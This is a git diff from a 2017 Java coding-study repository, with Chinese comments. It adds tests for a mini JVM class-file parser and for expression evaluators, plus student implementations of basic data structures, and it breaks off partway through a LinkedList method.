+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.OneOperandCmd;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
+import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
 import com.coding.mini_jvm.src.com.coderising.jvm.loader.ClassFileLoader;
+import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
 import com.coding.mini_jvm.src.com.coderising.jvm.util.Util;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-
-
-
+import java.util.List;
 
 
 public class ClassFileloaderTest {
 
 	
-	static String path1 = "H:\\sourceCode\\coding2017\\group24\\494800949\\build\\classes\\test";
+	static String path1 = "H:\\sourceCode\\coding2017\\group24\\494800949";
 	static String path2 = "C:\temp";
 
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
@@ -27,7 +31,7 @@ public class ClassFileloaderTest {
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coding.mini_jvm.test.EmployeeV1";
+		String className = "EmployeeV1";
 
 		clzFile = loader.loadClass(className);
 //		clzFile.print();
@@ -170,4 +174,153 @@ public void testClassIndex(){
 		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
 		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
 	}
+
+
+
+	/**
+	 * 下面是第三次JVM课应实现的测试用例
+	 */
+	@Test
+	public void testReadFields(){
+
+		List<Field> fields = clzFile.getFields();
+		Assert.assertEquals(2, fields.size());
+		{
+			Field f = fields.get(0);
+			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+		}
+		{
+			Field f = fields.get(1);
+			Assert.assertEquals("age:I", f.toString());
+		}
+	}
+	@Test
+	public void testMethods(){
+
+		List<Method> methods = clzFile.getMethods();
+		ConstantPool pool = clzFile.getConstantPool();
+
+		{
+			Method m = methods.get(0);
+			assertMethodEquals(pool,m,
+					"<init>",
+					"(Ljava/lang/String;I)V",
+					"2ab7000c2a2bb5000f2a1cb50011b1");
+
+		}
+		{
+			Method m = methods.get(1);
+			assertMethodEquals(pool,m,
+					"setName",
+					"(Ljava/lang/String;)V",
+					"2a2bb5000fb1");
+
+		}
+		{
+			Method m = methods.get(2);
+			assertMethodEquals(pool,m,
+					"setAge",
+					"(I)V",
+					"2a1bb50011b1");
+		}
+		{
+			Method m = methods.get(3);
+			assertMethodEquals(pool,m,
+					"sayHello",
+					"()V",
+					"b2001c1222b60024b1");
+
+		}
+		{
+			Method m = methods.get(4);
+			assertMethodEquals(pool,m,
+					"main",
+					"([Ljava/lang/String;)V",
+					"bb000159122b101db7002d4c2bb6002fb1");
+		}
+	}
+
+	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+		String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+	}
+
+	/***************************第四次jvm测试用例 **************************/
+	@Test
+	public void testByteCodeCommand(){
+		{
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand[] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+		if(cmd instanceof OneOperandCmd){
+			if(cmd instanceof BiPushCmd){
+				acctual += " " + ((OneOperandCmd)cmd).getOperand();
+			} else{
+				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+			}
+		}
+		if(cmd instanceof TwoOperandCmd){
+			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
 }
diff --git a/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java b/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java
new file mode 100644
index 0000000000..7ef4b9ccfa
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java
@@ -0,0 +1,77 @@
+package com.coding.week6.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Administrator on 2017/4/16 0016.
+ */
+public class InfixExprTestTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+
+    @Test
+    public void testFillStack() {
+        InfixExpr expr = new InfixExpr("10-30+50");
+        expr.fillStack();
+        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
+        Assert.assertEquals(expr.printOperatorStack(), "+");
+        expr = new InfixExpr("3*20+12*5-40/2");
+        expr.fillStack();
+        Assert.assertEquals(expr.printNumberStack(), "2.0,40.0,60.0,60.0");
+        Assert.assertEquals(expr.printOperatorStack(), "/,-,+");
+        expr = new InfixExpr("3*20/2");
+        expr.fillStack();
+        Assert.assertEquals(expr.printNumberStack(), "2.0,60.0");
+        Assert.assertEquals(expr.printOperatorStack(), "/");
+        expr = new InfixExpr("20/2*3");
+        expr.fillStack();
+        Assert.assertEquals(expr.printNumberStack(), "3.0,10.0");
+        Assert.assertEquals(expr.printOperatorStack(), "*");
+        expr = new InfixExpr("10-30+50");
+        expr.fillStack();
+        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
+        Assert.assertEquals(expr.printOperatorStack(), "+");
+    }
+
+
+
+}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java b/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java
new file mode 100644
index 0000000000..9939878611
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java
@@ -0,0 +1,78 @@
+package com.coding.week6.exprNew;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Administrator on 2017/4/16 0016.
+ */
+public class InfixExprTestTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3|");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+
+//    @Test
+//    public void testFillStack() {
+//        InfixExpr expr = new InfixExpr("10-30+50");
+//        expr.fillStack();
+//        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
+//        Assert.assertEquals(expr.printOperatorStack(), "+");
+//        expr = new InfixExpr("3*20+12*5-40/2");
+//        expr.fillStack();
+//        Assert.assertEquals(expr.printNumberStack(), "2.0,40.0,60.0,60.0");
+//        Assert.assertEquals(expr.printOperatorStack(), "/,-,+");
+//        expr = new InfixExpr("3*20/2");
+//        expr.fillStack();
+//        Assert.assertEquals(expr.printNumberStack(), "2.0,60.0");
+//        Assert.assertEquals(expr.printOperatorStack(), "/");
+//        expr = new InfixExpr("20/2*3");
+//        expr.fillStack();
+//        Assert.assertEquals(expr.printNumberStack(), "3.0,10.0");
+//        Assert.assertEquals(expr.printOperatorStack(), "*");
+//        expr = new InfixExpr("10-30+50");
+//        expr.fillStack();
+//        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
+//        Assert.assertEquals(expr.printOperatorStack(), "+");
+//    }
+
+
+
+}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java b/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java
new file mode 100644
index 0000000000..1e202ed615
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java
@@ -0,0 +1,18 @@
+package com.coding.week6.exprNew;
+
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class TokenParserTest {
+
+    @Test
+    public void testParse() throws Exception {
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse("3* 20+1 2*5-40/2");
+        System.out.println(tokens);
+    }
+}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java b/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java
new file mode 100644
index 0000000000..54a59316d6
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java
@@ -0,0 +1,34 @@
+package com.coding.week7;
+
+import com.coding.week6.exprNew.Token;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by Administrator on 2017/4/23 0023.
+ */
+public class InfixToPostfixTest {
+
+    @Test
+    public void testConvert() throws Exception {
+        {
+            String expr = "9+(3-1)*3+10/2";//"9 3 1-3*+ 10 2/+"
+            List<Token> tokens = InfixToPostfix.convert(expr);
+            System.out.println(tokens);
+            Assert.assertEquals("9", tokens.get(0).toString());
+            Assert.assertEquals("3", tokens.get(1).toString());
+            Assert.assertEquals("1", tokens.get(2).toString());
+            Assert.assertEquals("-", tokens.get(3).toString());
+            Assert.assertEquals("3", tokens.get(4).toString());
+            Assert.assertEquals("*", tokens.get(5).toString());
+            Assert.assertEquals("+", tokens.get(6).toString());
+            Assert.assertEquals("10", tokens.get(7).toString());
+            Assert.assertEquals("2", tokens.get(8).toString());
+            Assert.assertEquals("/", tokens.get(9).toString());
+            Assert.assertEquals("+", tokens.get(10).toString());
+        }
+
+    }
+}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java b/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java
new file mode 100644
index 0000000000..bde078a97e
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.week7;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java b/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java
new file mode 100644
index 0000000000..bb2061303e
--- /dev/null
+++ b/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.week7;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java
new file mode 100644
index 0000000000..8ae862da33
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java
@@ -0,0 +1,115 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/2.
+ */
+public class ArrayList implements List {
+    private int size = 10;
+    //每次扩容的长度，默认为10
+    private int extendSize = 10;
+
+    private Object[] data = new Object[size];
+
+    public ArrayList(Object o) {
+        this.add(o);
+    }
+
+    public ArrayList(){}
+
+    public void add(Object o) {
+        if (this.size() == this.size) {
+            this.size += extendSize;
+            Object[] newData = new Object[this.size];
+            System.arraycopy(this.data, 0, newData, 0, this.data.length);
+            this.data = newData;
+        }
+
+        for (int i = 0; i < this.data.length; i++) {
+            if (data[i] == null) {
+                data[i] = o;
+                break;
+            } else continue;
+        }
+    }
+
+    public void add(int index, Object o) {
+        if (index > this.size() || index < 0) {
+            throw new IndexOutOfBoundsException();
+        }
+
+        if(this.size() == this.size){
+            this.size += extendSize;
+        }
+
+        Object[] newData = new Object[this.size];
+
+        System.arraycopy(this.data, 0, newData, 0, index);
+        newData[index] = o;
+        System.arraycopy(this.data, index, newData, index + 1, this.size() - index);
+
+        this.data = newData;
+    }
+
+    public Object get(int index) {
+        if(index > this.size() || index < 0){
+            throw new IndexOutOfBoundsException();
+        }
+        for(int i = 0; i < this.size(); i ++){
+            if(index == i){
+                return this.data[i];
+            }
+        }
+
+        return null;
+    }
+
+    public Object remove(int index) {
+        if(index > this.size() || index < 0){
+            throw new IndexOutOfBoundsException();
+        }
+
+        Object[] newData = new Object[this.size];
+        Object removed = this.get(index);
+
+        System.arraycopy(this.data, 0, newData, 0, index);
+        System.arraycopy(this.data, index + 1, newData, index, this.size() - index);
+        this.data = newData;
+        return removed;
+    }
+
+    public int size() {
+        int size = 0;
+        for(Object obj : this.data){
+            if(obj != null){
+                size += 1;
+            }
+        }
+
+        return size;
+    }
+
+    public boolean contains(Object obj){
+        for(int i = 0; i < this.size(); i++){
+            if(obj == this.get(i)){
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    @Override
+    public String toString() {
+        StringBuffer sb = new StringBuffer();
+        for(Object obj : data){
+            if(obj != null){
+                sb.append(obj.toString()).append(",");
+            }else {
+//                sb.append("null,");
+                continue;
+            }
+        }
+
+        return sb.toString();
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java
new file mode 100644
index 0000000000..22bccaaf5b
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java
@@ -0,0 +1,245 @@
+package basic.dataStructure;
+
+/**
+ * @author : 温友朝
+ * @date : 2017/4/5
+ */
+public class ArrayUtil {
+    /**
+     * 给定一个整形数组a , 对该数组的值进行置换
+     * 例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+     * 如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+     *
+     * @param origin
+     * @return
+     */
+    public void reverseArray(int[] origin) {
+        int length = origin.length;
+        int[] reversed = new int[length];
+        for (int i = length - 1; i >= 0; i--) {
+            reversed[length - i - 1] = origin[i];
+        }
+    }
+
+    /**
+     * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+     * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：
+     * {1,3,4,5,6,6,5,4,7,6,7,5}
+     *
+     * @param oldArray
+     * @return
+     */
+
+    public int[] removeZero(int[] oldArray) {
+        int length = oldArray.length;
+        int[] arr = new int[length];
+        int index = 0;
+        for (int i = 0; i < length; i++) {
+            if (oldArray[i] != 0) {
+                arr[index] = oldArray[i];
+                index++;
+            }
+        }
+        //非0的数据个数
+        int[] newArr = new int[index];
+        System.arraycopy(arr, 0, newArr, 0, index);
+        return newArr;
+    }
+
+    public static Object[] remove(Object[] oldArray, Object value){
+        int length = oldArray.length;
+        Object[] arr = new Object[length];
+        int index = 0;
+        for (int i = 0; i < length; i++) {
+            if (oldArray[i] != value) {
+                arr[index] = oldArray[i];
+                index++;
+            }
+        }
+        Object[] newArr = new Object[index];
+        System.arraycopy(arr, 0, newArr, 0, index);
+        return newArr;
+    }
+
+    /**
+     * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+     * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+     *
+     * @param array1
+     * @param array2
+     * @return
+     */
+
+    public int[] merge(int[] array1, int[] array2) {
+        int length1 = array1.length;
+        int length2 = array2.length;
+        int[] arr = new int[length1 + length2];
+
+        System.arraycopy(array1, 0, arr, 0, length1);
+        System.arraycopy(array2, 0, arr, length1, length2);
+
+        //去重
+        for(int i = 0; i < arr.length; i++){
+            for(int j = 0; j < arr.length; j++){
+                if(i != j && arr[i] == arr[j]){
+                    arr[j] = 0;
+                }
+            }
+        }
+
+
+        int[] data = removeZero(arr);
+        int length = data.length;
+
+        //排序
+        for (int i = 0; i < length; i++) {
+            for(int j = 0; j < length; j++){
+                if(data[i] < data[j]){
+                    int tmp = data[i];
+                    data[i] = data[j];
+                    data[j] = tmp;
+                }
+            }
+        }
+        return data;
+    }
+
+
+    /**
+     * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+     * 注意，老数组的元素在新数组中需要保持
+     * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+     * [2,3,6,0,0,0]
+     *
+     * @param oldArray
+     * @param size
+     * @return
+     */
+    public int[] grow(int[] oldArray, int size) {
+        int[] arr = new int[oldArray.length + size];
+        System.arraycopy(oldArray, 0, arr, 0, oldArray.length);
+        return arr;
+    }
+
+    /**
+     * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+     * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+     * max = 1, 则返回空数组 []
+     *  F(0)=0，F(1)=1, F(n)=F(n-1)+F(n-2)（n>=2，n∈N*）
+     * @param max
+     * @return
+     */
+    public int[] fibonacci(int max) {
+        int[] empty = {};
+        int[] arr2 = {1, 1};
+
+        switch (max){
+            case 0 : return empty;
+            case 1 : return empty;
+            case 2 : return arr2;
+            default: {
+                int[] data = arr2;
+                int d = data[0] + data[1];
+                while (d < max){
+                    int length = data.length;
+                    d = data[length - 1] + data[length - 2];
+                    if(d > max){
+                        return data;
+                    }
+                    int[] temp = new int[data.length + 1];
+                    System.arraycopy(data, 0, temp, 0, length);
+                    temp[length] = d;
+
+                    data = temp;
+                }
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * 返回小于给定最大值max的所有素数数组
+     * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+     *
+     * @param max
+     * @return
+     */
+    public int[] getPrimes(int max) {
+        int[] data = new int[max];
+        int index = 0;
+        for(int i = 1; i < max; i++){
+            int divided = 0;
+            for(int j = i; j >= 1; j--){
+                if(i % j == 0){
+                    divided++;
+                }
+                if(divided > 2){
+                    break;
+                }else if(j == 1 && divided == 2){
+                    data[index] = i;
+                    index ++;
+                }
+            }
+        }
+
+        int[] result = new int[index];
+        System.arraycopy(data, 0, result, 0, index);
+        return result;
+
+    }
+
+    /**
+     * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+     * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+     *
+     * @param max
+     * @return
+     */
+    public int[] getPerfectNumbers(int max) {
+        int[] perfd = new int[max];
+        int perfIndex = 0;
+        for(int i = 1; i <= max; i++){
+            int index = 0;
+            int[] data = new int[i];
+            for(int j = i - 1; j >= 1; j--){
+                if(i % j == 0){
+                    data[index] = j;
+                    index ++;
+                }
+
+                if(j == 1 && getSum(data) == i){
+                    perfd[perfIndex] = i;
+                    perfIndex++;
+                }
+            }
+        }
+
+        return removeZero(perfd);
+    }
+
+    private int getSum(int[] arr){
+        int sum = 0;
+        for(int i : arr){
+            sum += i;
+        }
+        return sum;
+    }
+
+    /**
+     * 用seperator 把数组 array给连接起来
+     * 例如array= [3,8,9], seperator = "-"
+     * 则返回值为"3-8-9"
+     *
+     * @param array
+     * @param seperator
+     * @return
+     */
+    public String join(int[] array, String seperator) {
+        StringBuffer sb = new StringBuffer();
+        for(int i : array){
+            sb.append(i).append(seperator);
+        }
+        return sb.substring(0, sb.length() - 1).toString();
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java
new file mode 100644
index 0000000000..5050ae3c95
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java
@@ -0,0 +1,58 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/4.
+ */
+public class BinaryTreeNode {
+    private int data;
+    private BinaryTreeNode left;
+    private BinaryTreeNode right;
+
+    private BinaryTreeNode(){}
+
+    public BinaryTreeNode(int data){
+        this.data = data;
+        this.left = null;
+        this.right = null;
+    }
+
+    public void setData(int data){
+        BinaryTreeNode node = new BinaryTreeNode(data);
+        if(compareTo(data)){
+            if(this.left == null){
+                this.left = node;
+            }else{
+                this.left.setData(data);
+            }
+        }else{
+            if(this.right == null){
+                this.right = node;
+            }else{
+                this.right.setData(data);
+            }
+        }
+    }
+
+    public int getData(){
+        return data;
+    }
+
+    private boolean compareTo(int d) {
+        System.out.println("data=" + this.data + ", d=" + d);
+        return this.data > d;
+    }
+
+    private StringBuffer dataStr = new StringBuffer();
+    private int index = 0;
+//    public String toString(BinaryTreeNode node) {
+//        while (node.left != null || node.right != null){
+//            dataStr.append(index + "层，数据=").append(node.data).append("|");
+//            if(node.left != null){
+//                dataStr.append(node.left.data)
+//            }
+//            index ++;
+//        }
+//
+//        return dataStr.toString();
+//    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java
new file mode 100644
index 0000000000..3ac85ad37b
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java
@@ -0,0 +1,341 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/3.
+ */
+public class LinkedList implements List {
+    private Node head;
+
+    public LinkedList() {
+        this.head = new Node();
+    }
+
+    public void add(Object o) {
+        if (this.head.data == null) {
+            this.head = new Node(o, null);
+        } else {
+            Node temp = this.head;
+            while (temp.next != null) {
+                temp = temp.next;
+            }
+            temp.next = new Node(o, null);
+        }
+    }
+
+    public void add(int index, Object o) {
+        if (index > this.size() || index < 0) {
+            throw new IndexOutOfBoundsException();
+        }
+
+        if(index == 0){
+            Node newNode = new Node(o, this.head);
+            this.head = newNode;
+            return;
+        }
+
+        if(index == this.size()){
+            this.add(o);
+            return;
+        }
+
+        Node before = getNode(index - 1);
+        Node next = getNode(index);
+        Node newNode = new Node(o, next);
+        before.next = newNode;
+
+    }
+
+    private Node getNode(int index) {
+        int i = 0;
+        Node temp = this.head;
+        while (temp.data != null) {
+            if (index == i) {
+                return temp;
+            }
+
+            if (temp.next != null) {
+                temp = temp.next;
+            } else break;
+
+            i++;
+        }
+
+        return null;
+    }
+
+    public Object get(int index) {
+        if (index > this.size() || index < 0) {
+            throw new IndexOutOfBoundsException();
+        }
+
+        return this.getNode(index).data;
+    }
+
+    public Object remove(int index) {
+        if(index > this.size() || index < 0){
+            throw new IndexOutOfBoundsException();
+        }
+
+        Object removed = get(index);
+
+        Node before = getNode(index - 1);
+        Node next = getNode(index + 1);
+        before.next = next;
+
+        return removed;
+    }
+
+    public int size() {
+        int size = 0;
+        Node temp = this.head;
+        while (temp.data != null) {
+            size++;
+            if (temp.next != null) {
+                temp = temp.next;
+            } else break;
+        }
+
+        return size;
+    }
+
+    public void asList(Object[] array){
+        LinkedList list = new LinkedList();
+        for(int i = 0; i < array.length; i++){
+            list.add(array[i]);
+        }
+
+        this.head = list.head;
+    }
+
+    public Object[] toArray(LinkedList list){
+        int size = list.size();
+        Object[] arr = new Object[size];
+        for(int i = 0; i < size; i++){
+            arr[i] = list.get(i);
+        }
+
+        return arr;
+    }
+
+    public String toString() {
+        StringBuffer sb = new StringBuffer();
+        Node temp = this.head;
+        while (temp.data != null) {
+            sb.append(temp.data.toString()).append(",");
+            if (temp.next != null) {
+                temp = temp.next;
+            } else break;
+        }
+
+        return sb.toString();
+    }
+
+    private static class Node {
+        Object data;
+        Node next;
+
+        public Node() {}
+
+        public Node(Object obj, Node next) {
+            this.data = obj;
+            this.next = next;
+        }
+
+    }
+
+
+    /**
+     * 把该链表逆置
+     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+     */
+    public void reverse(){
+        int size = this.size();
+
+        if(size == 1){
+            return;
+        }
+
+        Object[] data = new Object[size];
+        for(int i = 0; i < size; i++){
+            data[i] = this.get(i);
+        }
+
+        this.head = new Node();
+
+        for(int i = size - 1; i >= 0; i--){
+            this.add(data[i]);
+        }
+    }
+
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+     */
+    public  void removeFirstHalf(){
+        int size = this.size();
+        int index = this.size()/2;
+        ArrayList al = new ArrayList();
+        for(int i = index; i < size; i++){
+            al.add(this.get(i));
+        }
+
+        this.head = new Node();
+
+        for(int i = 0; i < al.size(); i++){
+            this.add(al.get(i));
+        }
+    }
+
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     * @param i
+     * @param length
+     */
+    public  void remove(int i, int length){
+        for(int j = i; j < i + length; j++){
